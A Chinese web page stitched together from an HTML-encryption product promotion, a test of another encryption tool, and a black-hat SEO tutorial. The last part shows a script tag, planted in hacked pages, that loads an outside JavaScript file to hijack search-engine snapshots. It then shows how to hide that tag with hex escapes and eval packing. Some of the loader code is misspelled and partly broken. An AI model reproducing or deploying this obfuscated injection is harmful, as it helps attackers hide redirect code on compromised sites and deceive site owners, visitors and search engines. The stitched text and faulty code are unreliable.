使用JavaScript加密轉化技術將Html變為密文,以此保護html源代碼,這便是Html源碼加密。
同時,這種加密技術還可實現網頁反調試、防復制、鏈接加密等功能。
什么情況下需要Html源代碼加密?
Html源代碼加密可用于哪些場景?
Html源代碼加密可用于以下需求場合:
Html源代碼保護;防內容爬蟲、防分析、防嵌套、防內容復制。使Html代碼不會輕易被他人獲取。
Html源代碼加密,可以實現哪些功能效果?
Html源代碼加密,可以實現以下效果:
加密的Html源碼、加密的頁面鏈接;禁用JavaScript時頁面不渲染、禁止右鍵、禁止ctrl+c、ctrl+v、禁止iframe嵌套,等。
以下進行一次Html加密實操。
測試html代碼:
<html>
<head>
<title>Html源代碼加密</title>
<meta name="description" content="JShaman Html網頁源碼加密" />
<meta name="keywords" content="Html加密、網頁源碼加密" />
</head>
<body>
<h1>
Html加密、網頁源碼加密
</h1>
<a href="https://www.jshaman.com" target="_blank">JShaman.com</a>
<script>
alert("test");
</script>
</body>
</html>
使用JShaman的Html源代碼加密:https://www.jshaman.com/enhtml/
加密功能啟用:僵尸元素植入、鏈接加密、SEO優化、JS混淆加密。
這幾項功能的說明如下:
僵尸元素植入:
給頁面中隨機插入div、span、p等元素,形成新的節點,這些節點中包含內容,但不顯示、不影響頁面布局。
由于其真實存在,因此會對DevTool(瀏覽器開發者工具)造成干擾,使用無法從“DOM和樣式探查器”中直接復制頁面內容。
鏈接加密:
對網頁中所有鏈接(“a href”語句)進行加密,隱藏鏈接地址。
以此防止鏈接被獲取、防止爬蟲根據鏈接獲得其它頁面地址。
SEO優化:
使加密后的Html代碼中包換與原頁面相同的title、keywords、description,及全頁面渲染后展示的文字內容。
以此增加頁面對搜索引擎的友好性,使網頁更容易被收錄,并有排名優化效果。
JS混淆加密:
對Html編碼后的JavaScript代碼進行混淆加密,使代碼無法閱讀、理解。
并且是混淆加密是多態特性,一次一結果,永不重復。
加密結果、加密后的Html代碼:
加密后的Html與加密前一樣使用,無任何區別。
加密效果
將其保存為Html文件后,打開查看效果:
1、首先,源碼是密文狀態, 是混淆加密過的JS代碼,不會被人“查看源碼”即得到Html源碼。
2、加密的鏈接,鏈接雖然被加密(從源碼中只能看到錯誤的鏈接地址),但不會影響鏈接的正常點擊,這還是比較神奇的,如下圖:
注:有人疑惑:從”查看器”中還是能看到“源碼”,是不是沒有起到加密效果呢?
這里需要澄清:開發者工具“查看器”中看到的內容,是Html代碼經瀏覽器渲染的結果代碼,不是源碼,它是必須能被渲染出來的,如果加密代碼不能渲染,頁面也將不能顯示。
而加密,首先必須保證的是加密后的html代碼能正常使用。對吧?
其次,即使是渲染后的代碼,其中鏈接也加密了、也有了僵尸節點、還包含了加密代碼,等等。它跟原始的Html代碼還是有不小差異的,依然保護著原始Html代碼。
3、隨機插入的僵尸節點,節點內容也是隨機的。
4、用于SEO的節點內容,內容是原Html頁面中的核心文字,它會使加密后的Html代碼對搜索引擎收錄依然友好。如下圖:
而且title、description也是原樣保留:
綜上展示,簡單總結:
Html源代碼加密,有效、有用!不錯。
tml網頁源碼加密
html網頁源碼能加密嗎?能加密到何種程度?
某些時候,我們可能需要對html網頁源碼加密,使網頁源碼不那么容易被他人獲得。出于這個目標,本文測試一種html加密方式。
提前透露:結論超出預期,似乎還實現了反爬蟲。
首先來到網址:http://fairysoftware.com/html_jia_mi.html
由頁面介紹可知,這是一種使用js和escape結合實現的html加密。
直接使用頁面提供的例程,加密這一段html代碼:
得到加密的html代碼,如下圖:
然后將加密代碼粘貼到一個html文件中測試,如下圖:
頁面可以正常打開。查看網頁源碼,果然源碼是加密的,如下圖:
特別的驚喜之處是:
如上圖所示,鏈接果然消失了。
即使用開發者工具查看,也無法得到鏈接地址,而原始未加密前的html代碼中是有鏈接的,如下圖:
那么消失了的鏈接,還能正常點擊嗎?
點擊,鏈接可以正常打開:
雖然href鏈接隱藏了,但還能正常打開頁面,功能完全正常。
測試結果既驚喜又意外,這樣的html網頁加密,效果還真是不錯,值得一用。
一些黑帽SEO要對跳轉的js代碼進行加密,學習JavaScript加密方式,當我們網站被黑時,看到這段代碼就明白這就是快照劫持的代碼,刪掉即可解決網站被黑問題。今天,錯誤博客(cuowu.com)分享的內容為《黑帽SEO教程為html中的js跳轉url加密》。希望對大家有所幫助。
JavaScript跳轉是黑帽SEO中快照劫持常見操作手法,比如在寄生蟲程序使用中,在被黑掉的html或php中增加如下代碼就可以完成快照劫持:
<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>
這段JavaScript代碼的作用是引入v6.js文件,v6.js文件中的內容為if判斷語句,如果訪問的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,則顯示劫持的快照內容,如果是用戶直接訪問瀏覽器則會顯示原頁面內容。
首先把上面的命令增加為如下:
window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;
然后,對前面雙引號內的內容進行16進制加密,后面單引號內容也同樣進行16進制加密,依次為:
\x64\x6f\x63\x75\x6d\x65\x6e\x74
\x77\x72\x69\x74\x65
\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73
這個可以用utf-8轉16進制加密在線工具即可。錯誤博客站長導航里面有。
站長導航(https://cuowu.com/daohang/)
加密完成后變為:
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
然后,把上述的js代碼再次補充一下才能正常運行,即:
<script type=”text/javascript”>
window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;
</script>
把中間window到</script>;的內容利用站長工具的JS混淆加密壓縮就可以得到eval加密形式,錯誤博客站長導航里面有。
站長導航(https://cuowu.com/daohang/)
獲得如下加密代碼如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
最終獲得的加密代碼如下:
<script type=”text/javascript”>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
</script>
這就是全部的js加密壓縮過程了,解壓過程反過來推就可以了。
以上就是錯誤博客(https://cuowu.com/)分享的內容為《黑帽SEO為html中的js加密(js混淆與16進制加密)》。感謝您的閱讀。更多原創搜索“錯誤博客”。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。